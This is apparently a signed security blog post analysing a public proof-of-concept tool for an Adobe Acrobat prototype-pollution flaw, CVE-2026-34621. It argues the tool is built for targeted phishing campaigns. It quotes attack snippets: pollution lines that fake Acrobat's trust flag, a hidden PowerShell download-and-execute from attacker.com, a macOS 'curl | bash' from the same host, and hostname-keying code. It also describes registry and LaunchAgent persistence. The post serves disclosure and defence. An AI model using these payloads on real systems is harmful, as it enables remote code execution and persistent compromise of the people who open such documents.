-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 The PDF arrives as an invoice. It runs its JavaScript before you see the first page. The first thing it does is tell `Object.prototype` what to say when asked whether it's trusted. After that, Adobe Acrobat's privilege gate, the check that stands between JavaScript running inside a document and JavaScript launching system processes, asks the execution context whether it's trusted. The context traverses its prototype chain. `Object.prototype` answers. This is CVE-2026-34621. CVSS 8.6, scope change, arbitrary code execution on Windows and macOS, on CISA's Known Exploited Vulnerabilities list with a federal remediation deadline of April 27, 2026. The PoC repository is not a scanner or a detection probe. It is a cross-platform PDF weaponizer: obfuscated, lure-merged, environment-keyed, staged, persistent, and campaign-tracked. It prints "FOR AUTHORIZED SECURITY TESTING ONLY" when you run it, before it parses its arguments. The person who opens it is in accounts payable. She receives it because she was supposed to: the lure PDF is a real invoice, cloned page by page from a legitimate document the sender obtained beforehand. She opens it, sees the invoice, scrolls to the total. By the time she reaches the second page, the `AdobeUpdate` registry Run key is already written to her machine. The PowerShell process has already exited, window hidden, no wait. The stage URL has already been contacted. Nothing on screen indicates any of this happened. The PDF looks exactly like the invoice it was built to impersonate, because it contains the exact pages of that invoice. ## The privilege gate Adobe built Adobe Acrobat's JavaScript environment is sandboxed by design. JavaScript running inside a PDF cannot, in the ordinary course, call system APIs. This restriction enables interactive PDF forms without giving form authors shell access to the machines that open the document. The enforcement lives in a privilege model built into Adobe's JavaScript engine. Certain APIs are marked as privileged. `app.launchURL(url, true)`, the second parameter signals "launch as external process" rather than open in a browser. `util.readFileIntoStream({cDIPath: path, bEncodeBase64: true})`, reads a local file from the filesystem into the script's context. `new ActiveXObject('WScript.Shell')`, instantiates a Windows scripting host capable of running arbitrary commands. These APIs exist, they're documented in the Acrobat JavaScript API Reference, and they're gated. The gate checks whether the calling context is trusted. The check reads a property. Adobe's engine examines whether a specific flag, `__trusted`, evaluates to true on the execution context object. Trusted context: restricted API available. Untrusted context: call fails. The execution context is a JavaScript object. JavaScript objects inherit properties from their prototype chain. At the top of every object's prototype chain is `Object.prototype`. ## What prototype pollution does to that check The exploit JavaScript is the first thing that runs when the PDF opens. Before OS detection, before command selection, before any payload: ```javascript Object.prototype.__defineGetter__('__trusted', function() { return true; }); Object.prototype.constructor.prototype.bypass = true; Object.prototype.__proto__.privileged = true; Array.prototype.__proto__.polluted = true; ``` `__defineGetter__` attaches a getter function to `Object.prototype`. After this executes, any property lookup for `__trusted` on any object that doesn't have `__trusted` defined directly on itself will reach `Object.prototype`, invoke the getter, and receive `true`. Adobe's execution context is that object. The context object has no `__trusted` property of its own, by the sandbox's design, untrusted contexts aren't trusted. But it inherits from `Object.prototype`. The prototype chain leads directly to the getter. The privilege check asks the context whether it's trusted. The context delegates the question upward. The answer comes back `true`. The additional properties, `bypass`, `privileged`, `polluted`, indicate the author mapped Adobe's internal trust model before writing this. These are not generic names. Someone identified which specific properties Adobe's engine interrogates for privilege decisions, either by reading the SDK internals, by reverse-engineering the binary, or by instrumenting a live Acrobat instance against different access attempts. All four pollution lines are present because the author needed all of them covered. The root cause is that Adobe's trust boundary is enforced by a JavaScript property lookup, inside JavaScript's own object model. The gate is written in the same language it's supposed to contain. Any value reachable by prototype traversal is reachable from inside the execution context, and `__trusted` is reachable because it's an ordinary object property with ordinary inheritance semantics. The correct fix is not a different property name. It's moving the trust state out of JavaScript entirely, into the native engine layer, into a non-inheritable slot, somewhere the execution context can read but its prototype chain cannot reach. ## The execution chain The PDF's `OpenAction` fires the JavaScript immediately when Acrobat renders the document, before the user sees a page. The payload generator detects the operating system via `app.platform` (Adobe's own API) and branches accordingly. **Windows.** Three methods, tried in order: Method 1 is `app.launchURL('file:///C:/Windows/System32/cmd.exe?/c ...')`. This fails. File URLs with query strings do not invoke `cmd.exe` with the parameters the code expects. The URL handler doesn't parse the query string as command arguments. Method 2 is the one that executes: ```javascript var shell = new ActiveXObject('WScript.Shell'); shell.Run("cmd.exe /c powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"", 0, false); ``` `ActiveXObject` instantiation is among the highest-privilege operations in the Acrobat JavaScript environment. The sandbox blocks it. With `Object.prototype.__trusted` returning `true`, the check passes, the object is instantiated, and `WScript.Shell.Run` fires with window hidden (`0`) and no wait (`false`). The PowerShell process spawns without a visible window. If a stage URL was specified, the second-stage payload downloads and executes. Method 3 is a direct PowerShell fallback through the same path, for cases where the staged download approach is unavailable. **macOS.** The chain uses `app.launchURL` with the `osascript://` scheme: ```javascript var script = 'do shell script "curl -s http://attacker.com/payload.sh | bash"'; app.launchURL('osascript://' + encodeURIComponent(script)); ``` AppleScript's URL scheme routes the script through the system's scripting bridge. The `do shell script` primitive passes the command to `/bin/sh`. The `curl | bash` pipe downloads and executes the remote payload. Both chains optionally install persistence. Windows writes an `AdobeUpdate` registry Run key pointing to a dropper in `%TEMP%`. macOS writes a LaunchAgent plist to `~/Library/LaunchAgents/com.adobe.update.plist` and loads it immediately with `launchctl load`. Both persistence mechanisms survive reboots. A secondary step reads `C:\Windows\win.ini` (Windows) or `/etc/hosts` (macOS) via `util.readFileIntoStream`. This isn't payload delivery, it's a confirmation step. If the privileged file read succeeds, the prototype pollution worked and the privilege gate is open for all subsequent calls. Affected versions: Adobe Acrobat DC Continuous ≤ 26.001.21367, patched in 26.001.21411. Adobe Acrobat 2024 Classic ≤ 24.001.30356, patched in 24.001.30362 (Windows) and 24.001.30360 (macOS). ## What the architecture tells you The tool has five capabilities that, individually, each have a plausible defensive justification. Together they describe something else. **Lure PDF merging.** Pass `-l /path/to/real_invoice.pdf` and the generator clones every page from the legitimate document using PyPDF2, then injects the exploit JavaScript as an `OpenAction`. The victim opens a PDF that is visually and functionally a real invoice, because it contains the exact pages of a real invoice, while the payload executes silently behind it. The filename examples in the README are `invoice.pdf`, `contract.pdf`, `resume.pdf`, `safe_invoice.pdf`. Not `test.pdf`. Not `lab_poc.pdf`. The author named them for the inboxes they'd land in. **Three-level JavaScript obfuscation.** At level 3: the entire payload is base64-encoded, wrapped in `eval(atob(...))`, then subjected to a second pass of variable renaming and dead code injection. The obfuscation is polymorphic by default, randomized per run, which means two PDFs generated from the same command will produce different JavaScript signatures. The `--seed` flag makes the obfuscation reproducible: `--seed 42` always generates the same obfuscated output for a given configuration. Reproducibility matters when you're tracking what you sent to whom. **Environment keying.** `-k SALES-PC`. The payload wraps itself in a hostname check: ```javascript var targetKey = 'SALES-PC'; var shell = new ActiveXObject('WScript.Shell'); currentKey = shell.ExpandEnvironmentStrings('%COMPUTERNAME%'); if (currentKey.toUpperCase() === targetKey.toUpperCase()) { // execute payload } ``` The payload fires only on the machine whose hostname matches the specified key. The `-k SALES-PC` flag only makes operational sense if you already know who you're hunting. In a penetration test, you have network access to the target environment, you enumerate hostnames directly, you don't need to key a document to a specific machine name and deliver it hoping it lands on the right desk. Environment keying is a feature for operators who have already identified a specific machine at a specific organization and need to ensure the payload fires on that machine and no other. **Staged payload support.** `--stage http://10.0.0.5/payload.ps1`. The embedded command becomes a downloader rather than a direct execution. The stage URL can be updated after the PDF is delivered, if the initial payload has been burned or needs to change, every unopened copy of the PDF will download the updated version when it fires. This separates PDF generation from payload maintenance. **Report generation.** Every generated PDF produces three files. The HTML report renders configuration details in a styled interface. The plaintext report summarizes the same. The JSON config export records: `windows_cmd`, `mac_cmd`, `stage_url`, `persistence`, `delay`, `env_key`, `obfuscation_level`, `trigger_vector`, `lure_pdf`. One JSON file per PDF. Generate twenty documents, `invoice_acme.pdf`, `contract_widgetco.pdf`, `resume_target3.pdf`, each with a different environment key and stage URL, each producing a JSON config file that records the embedded command, the target hostname, whether persistence was enabled, and where the second-stage payload lives. After the run, you have twenty JSON files. That is not a test log. That is a campaign ledger. The schema tells you something about who designed it. `env_key` is the hostname the document was keyed to. `lure_pdf` is the path of the real document cloned into the cover. `persistence` is a boolean recording whether this copy installs a Run key or LaunchAgent. These fields are not logging infrastructure for a test environment. They are provenance tracking for a fleet. A test log records whether the exploit worked. A campaign ledger records who received which document, what persistence posture it carried, and which stage URL you planned to rotate when the first payload burned. ## The disclaimer runs before the arguments Line 17 of the script: ```python """ FOR AUTHORIZED SECURITY TESTING ONLY. """ ``` Reprinted as a printed banner at lines 33–58, executing when you invoke the script, before Python even parses the command-line arguments. The disclaimer fires before the tool knows what you're about to do with it. The same author who wrote that disclaimer designed the environment keying feature. Named the output files `invoice.pdf` and `targeted.pdf`. Built the per-PDF JSON ledger. Included `--seed` for reproducible polymorphic generation across campaigns. The disclaimer is the first thing the script prints. The environment keying feature is the one that describes who the script was built for. Both are in the same file, by the same hand. One of them describes the intended use case. We are not required to guess which. PoC: [NULL200OK/cve_2026_34621_advanced](https://github.com/NULL200OK/cve_2026_34621_advanced) - --- *PGP signature: [adobe-acrobat-cve-2026-34621-pdf-weaponizer.md.asc](/sigs/adobe-acrobat-cve-2026-34621-pdf-weaponizer.md.asc), Key fingerprint: `5FD2 1B4F E7E4 A3CA 7971 CB09 DE66 3978 8E09 1026`* -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaeUiawAKCRDeZjl4jgkQ JtgmAQDi4gOh25O2IoP72Z9951wk7EZuhk39OSHhkW8n8VWAswD9FLR1gjNcxP4Q WAPVfdPy7d6/xV2h475YbWMVNeTUvww= =4GU6 -----END PGP SIGNATURE-----